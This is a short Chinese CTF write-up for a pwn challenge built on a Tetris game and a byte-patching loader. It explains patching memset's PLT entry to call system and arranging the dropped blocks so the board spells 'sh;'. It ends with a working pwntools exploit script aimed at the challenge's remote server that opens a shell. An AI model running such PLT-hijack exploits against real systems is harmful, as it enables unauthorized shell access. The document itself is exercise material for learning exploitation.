这个题打死也作不出来,看了个英文的wp
外国弄的这东西,思路不常见。一个是Genius文件是下人俄罗斯方块游戏(出的块是固定序列)这个本身没有问题。另外一个是loader文件,这个文件把游戏文件读入内存中,并允许修改两次每次1字节(通过一种JS啥的编码取5个字节中的若干位组成偏移和修改的字节)然后运行程序。
思路:
一是修改memset它在plt表中位置是XX30修改1字节改为XX20这个是system的plt表,以gameover的时候会调用到这个,就相当于system(XXX)了
第二个是这个参数这个参数是游戏打完形成的图形(有块为1空地为0)想办法让打完的位置形成sh;这相需要天才的脑子在适当调整偏移的情况下(偏移为+0x15),限制就是这个1不能掉下来。
第三步就是把掉下来的块设计好路线。
from pwn import *
'''
| ggo fd|
|00bbo0000d|
|0bb0oo0cdd|
|00aaee cc | <-- 0011 1011,0110 1000,0111 0011 ;hs
| aaee c |
+----------+
loader允许patch程序两字节:第1次将plt表memset改为system 30->20,第2次将程序中memset参1:0x804b1a0改为0x804b1B5 从指定位置开始,指定位置堆成sh;的码
然后用块堆成指定数据-1,-2,-3连起来是sh;
下落块顺序固定 O, S, T, J, O, Z, Z, T, O, Z, T, J, L
'''
#p = process('./loader')
p = remote('node4.buuoj.cn', 29973)
context(arch='i386', log_level='debug')
p.sendlineafter(b'continue!\n', b'AZZAZT') #0x622 plt.memset FF 25 (30->20) B0 04 08
p.sendlineafter(b'Please enter your second code, or press <enter>\n', b'SLGOGI') #0x154B:push offset dword_804B1A0 ; s (68 (A0->B5)B10408) 154c
p.recvuntil(b':)\n')
val = ['as','qaas','eddds','qdddds','ds','ddddds','qaas','eaaaas','as','ddddds','edddds','aaaaas','eas']
for i in val:
sleep(1)
p.recv()
p.send(i.encode())
p.interactive()